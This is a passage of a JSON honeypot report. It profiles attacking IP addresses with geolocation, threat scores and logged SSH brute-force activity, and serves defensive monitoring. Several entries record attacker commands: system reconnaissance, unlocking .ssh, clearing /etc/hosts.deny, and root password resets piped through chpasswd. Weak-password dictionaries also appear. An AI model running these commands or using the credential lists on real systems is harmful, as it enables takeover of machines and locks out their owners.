        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T16:21:14.174000+00:00",
        "last_seen_30d": "2026-04-09T16:22:33.954000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.0.123.2": {
      "attack_count": 2,
      "first_seen": "2026-04-12T06:12:15.390Z",
      "last_seen": "2026-04-12T06:12:28.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gokseong-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T06:12:15.390000+00:00",
        "last_seen_30d": "2026-04-12T06:13:33.820000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.106.81.18": {
      "attack_count": 2,
      "first_seen": "2026-04-14T13:13:40.875Z",
      "last_seen": "2026-04-14T13:13:54.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 17839,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T13:13:40.875000+00:00",
        "last_seen_30d": "2026-04-14T13:14:58.802000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "69.130.68.144": {
      "attack_count": 2,
      "first_seen": "2026-04-29T20:27:16.380Z",
      "last_seen": "2026-04-29T20:27:29.555Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ruidoso",
      "asn": 4181,
      "as_org": "TDS TELECOM",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T20:27:16.380000+00:00",
        "last_seen_30d": "2026-04-29T20:28:36.834000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "72.220.136.145": {
      "attack_count": 2,
      "first_seen": "2026-04-23T04:55:48.879Z",
      "last_seen": "2026-04-23T04:56:02.988Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T04:55:48.879000+00:00",
        "last_seen_30d": "2026-04-23T04:57:07.172000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.222.177.49": {
      "attack_count": 2,
      "first_seen": "2026-04-07T04:48:13.256Z",
      "last_seen": "2026-04-07T04:48:44.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T04:48:13.256000+00:00",
        "last_seen_30d": "2026-04-07T04:49:45.593000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "172.183.91.36": {
      "attack_count": 4632,
      "first_seen": "2026-04-29T04:47:16.837Z",
      "last_seen": "2026-04-29T10:44:04.644Z",
      "sessions": 925,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " ",
        "!",
        "!@#$%^",
        "!QAZ2wsx",
        "!QAZ2wsx3edc",
        "!QAZ@WSX",
        "!QAZ@wsx",
        "!QAZxsw2",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "*****",
        "******",
        "------fuck------",
        "---fuck_you----",
        "0",
        "000",
        "0000",
        "000000",
        "00000000",
        "050602"
      ],
      "commands_executed": [
        "hostname 2>/dev/null || echo unknown",
        "uname -a 2>/dev/null || echo unknown"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6921,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:46:00.881000+00:00",
        "last_seen_30d": "2026-04-29T10:45:08.362000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4632,
        "Suricata": 2289
      }
    },
    "176.65.132.254": {
      "attack_count": 3435,
      "first_seen": "2026-04-16T16:11:39.998Z",
      "last_seen": "2026-04-16T16:58:02.035Z",
      "sessions": 686,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4843,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T16:11:35.916000+00:00",
        "last_seen_30d": "2026-04-16T16:59:06.431000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3435,
        "Suricata": 1408
      }
    },
    "45.153.34.97": {
      "attack_count": 1263,
      "first_seen": "2026-04-26T21:03:42.275Z",
      "last_seen": "2026-04-26T21:27:20.831Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "ali",
        "alex",
        "bot",
        "dev",
        "jenkins",
        "minecraft",
        "student",
        "testuser",
        "a",
        "administrator",
        "bob",
        "claude",
        "demo",
        "deployer"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "1",
        "1234",
        "12345",
        "1qaz@WSX",
        "P@ssw0rd",
        "admin",
        "admin123",
        "password",
        "123123123",
        "airflow",
        "alex123",
        "arthur",
        "bot",
        "debian",
        "p@ssw0rd",
        "q1w2e3r4",
        "root"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1901,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T21:03:42.275000+00:00",
        "last_seen_30d": "2026-04-26T21:28:26.871000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1263,
        "Suricata": 638
      }
    },
    "101.36.122.139": {
      "attack_count": 1170,
      "first_seen": "2026-04-03T04:54:12.505Z",
      "last_seen": "2026-04-25T15:29:49.261Z",
      "sessions": 117,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "oracle",
        "n8n",
        "postgres",
        "deploy",
        "lixiang",
        "sammy",
        "ts3",
        "user",
        "VPN",
        "aditya",
        "admin",
        "claude",
        "deployer",
        "finance",
        "front",
        "ftp_id",
        "hamza"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345",
        "!Qaz2wsx",
        "$SatCom$",
        "11223344",
        "123123Qwe",
        "123321",
        "1234567",
        "12345Aa@",
        "1QAZ2wsx3edc",
        "1qa2ws3ed4rf",
        "1qq2w3e4r5t",
        "555666",
        "77777",
        "Aa112211.",
        "Abcd123456789@@",
        "Admin2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nxEp9GsoaaWfi\\nxEp9GsoaaWfi\\n\"|passwd",
        "echo \"UBUNTU\\njuweRGraqgul\\njuweRGraqgul\\n\"|passwd",
        "echo \"aa123456!\\nCJSOtsh127uP\\nCJSOtsh127uP\\n\"|passwd",
        "echo \"lixiang\\ndbCb96HqSmFo\\ndbCb96HqSmFo\\n\"|passwd",
        "echo \"oracle!@\\nQtrn2f6q9gvJ\\nQtrn2f6q9gvJ\\n\"|passwd",
        "echo \"root:6qjs6qc8wPgS\"|chpasswd|bash",
        "echo \"root:OwOHLn8vMoIp\"|chpasswd|bash",
        "echo \"root:c6siFhbmDdde\"|chpasswd|bash",
        "echo \"root:szfBwBbYUmSi\"|chpasswd|bash",
        "echo \"root:zVhQthg2CgOE\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1434,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T04:54:12.505000+00:00",
        "last_seen_30d": "2026-04-25T15:30:57.788000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1170,
        "Suricata": 264
      }
    },
    "47.76.49.128": {
      "attack_count": 1166,
      "first_seen": "2026-04-22T19:37:55.438Z",
      "last_seen": "2026-04-22T21:37:48.526Z",
      "sessions": 231,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "deploy",
        "hadoop",
        "steam",
        "ftpuser",
        "minecraft",
        "mysql",
        "postgres",
        "test",
        "user1",
        "app",
        "bot",
        "debian",
        "dev",
        "ec2-user",
        "esuser",
        "frappe",
        "ftp"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "12345",
        "12345678",
        "admin123",
        "frappe",
        "rock",
        "test123",
        "!Q2w3e4r",
        "!QAZ2wsx",
        "!qaz@WSX",
        "0",
        "0000",
        "1",
        "111",
        "111111",
        "123123123",
        "1234",
        "123@@@"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1665,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T19:37:55.438000+00:00",
        "last_seen_30d": "2026-04-22T21:38:55.050000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1166,
        "Suricata": 499
      }
    },
    "124.225.88.153": {
      "attack_count": 734,
      "first_seen": "2026-04-03T06:59:48.159Z",
      "last_seen": "2026-04-03T09:19:02.094Z",
      "sessions": 367,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:59:48.159000+00:00",
        "last_seen_30d": "2026-04-03T09:20:10.764000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 734,
        "Suricata": 384
      }
    },
    "220.119.37.141": {
      "attack_count": 686,
      "first_seen": "2026-04-17T21:09:16.672Z",
      "last_seen": "2026-04-30T06:23:13.899Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "test",
        "contest",
        "ftptest",
        "testftp",
        "user",
        "userftp",
        "vpn",
        "admin",
        "cloud_user",
        "csadmin",
        "git",
        "kafka",
        "minecraft",
        "mutua",
        "mytest",
        "ocadmin",
        "oracle"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz",
        "!QAZ2wsx",
        "0",
        "000",
        "00000",
        "11111",
        "111111",
        "123",
        "123321",
        "1234",
        "12345",
        "1234rfv",
        "35",
        "A1231239",
        "A1234567O",
        "Abc@123...",
        "Admin123+",
        "Qazwsx000!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"111111\\n1laXqls3Dxnm\\n1laXqls3Dxnm\\n\"|passwd",
        "echo \"contest\\ni0UZBU1VgTjA\\ni0UZBU1VgTjA\\n\"|passwd",
        "echo \"passw0rd\\nj2WUJ2fxnojZ\\nj2WUJ2fxnojZ\\n\"|passwd",
        "echo \"root:0Jpszxd1mNvy\"|chpasswd|bash",
        "echo \"root:7rDachjfXLyW\"|chpasswd|bash",
        "echo \"root:FzPk0Nk1zaQU\"|chpasswd|bash",
        "echo -e \"111111\\n1laXqls3Dxnm\\n1laXqls3Dxnm\"|passwd|bash",
        "echo -e \"contest\\ni0UZBU1VgTjA\\ni0UZBU1VgTjA\"|passwd|bash",
        "echo -e \"passw0rd\\nj2WUJ2fxnojZ\\nj2WUJ2fxnojZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busanjin-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 52.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 834,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:09:16.672000+00:00",
        "last_seen_30d": "2026-04-30T06:24:19.482000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 686,
        "Suricata": 148
      }
    },
    "80.158.109.51": {
      "attack_count": 593,
      "first_seen": "2026-04-10T11:45:21.689Z",
      "last_seen": "2026-04-20T21:51:38.824Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "deploy",
        "esuser",
        "postgres",
        "user",
        "vikas",
        "ali",
        "claude",
        "db_user",
        "devops",
        "ftpuser",
        "git",
        "luz",
        "odoo",
        "onkar",
        "oracle",
        "plexuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E4r5t6y",
        "123",
        "1q@",
        "7777",
        "Abcd1234$",
        "Ali1",
        "Arun@1234",
        "Claude30!",
        "Dq@123456",
        "Letmein1qaz",
        "Letmein@1234",
        "Odoo08!",
        "Oracle24",
        "Pa$$w0rd@2025",
        "Password1!",
        "Postgres12",
        "Qazwsx123123!@",
        "Qazwsx321."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"deploy123456789\\nEoop3GHepAsv\\nEoop3GHepAsv\\n\"|passwd",
        "echo \"esuser123456\\neKPukm8dBhHf\\neKPukm8dBhHf\\n\"|passwd",
        "echo \"root:9iS02aUmiXEJ\"|chpasswd|bash",
        "echo \"root:pmnhUPWnIU1B\"|chpasswd|bash",
        "echo \"vikas@123\\nILXXaX0KrrEd\\nILXXaX0KrrEd\\n\"|passwd",
        "echo -e \"deploy123456789\\nEoop3GHepAsv\\nEoop3GHepAsv\"|passwd|bash",
        "echo -e \"esuser123456\\neKPukm8dBhHf\\neKPukm8dBhHf\"|passwd|bash",
        "echo -e \"vikas@123\\nILXXaX0KrrEd\\nILXXaX0KrrEd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 6878,
      "as_org": "T-Systems International GmbH",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 727,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:45:21.689000+00:00",
        "last_seen_30d": "2026-04-20T21:52:43.194000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 593,
        "Suricata": 134
      }
    },
    "196.0.120.6": {
      "attack_count": 446,
      "first_seen": "2026-04-03T15:29:55.749Z",
      "last_seen": "2026-04-14T01:01:50.772Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "git",
        "mohammad",
        "steam",
        "ali",
        "es",
        "frappe",
        "ftpuser",
        "geo",
        "gitlab-runner",
        "info",
        "mainuser",
        "oracle",
        "postgres",
        "service",
        "student3",
        "test2",
        "testing"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "123456",
        "123456-qwe",
        "12345678",
        "123Qwert",
        "1Password",
        "1q2w3e4r5t!@#",
        "1qaz2wsx",
        "1qw2!QW@",
        "2",
        "2025#",
        "258456",
        "5tgb@#",
        "999999999",
        "A12345661",
        "Abcd@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nMsv0bvBxHBjB\\nMsv0bvBxHBjB\\n\"|passwd",
        "echo \"2025#\\nGpglynWunRgH\\nGpglynWunRgH\\n\"|passwd",
        "echo \"root:4aaurv1FXVjE\"|chpasswd|bash",
        "echo -e \"123456\\nMsv0bvBxHBjB\\nMsv0bvBxHBjB\"|passwd|bash",
        "echo -e \"2025#\\nGpglynWunRgH\\nGpglynWunRgH\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Uganda",
      "country_code": "UG",
      "city": "Kampala",
      "asn": 21491,
      "as_org": "UGANDA-TELECOM Uganda Telecom",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 574,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T15:29:55.749000+00:00",
        "last_seen_30d": "2026-04-14T01:02:58.193000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 446,
        "Suricata": 128
      }
    },
    "171.243.148.164": {
      "attack_count": 442,
      "first_seen": "2026-04-30T13:46:20.623Z",
      "last_seen": "2026-04-30T14:24:20.060Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "developer",
        "monitor",
        "ubnt",
        "user",
        "*****",
        "1234",
        "123456",
        "admian",
        "am",
        "anton",
        "backup",
        "belkinstyle",
        "carol",
        "config",
        "cpanel",
        "db2inst2",
        "demo"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "admin",
        "password",
        "P@ssw0rd",
        "*****",
        "039715582364317",
        "0987654321",
        "1",
        "1111",
        "12345",
        "12345678",
        "123456789",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "OkwKcECs8qJP2Z",
        "abc123",
        "admin01",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 627,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:46:20.623000+00:00",
        "last_seen_30d": "2026-04-30T14:25:24.568000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 185
      }
    },
    "49.231.192.36": {
      "attack_count": 332,
      "first_seen": "2026-04-05T01:01:32.566Z",
      "last_seen": "2026-04-09T08:08:48.839Z",
      "sessions": 32,
      "ports": [],
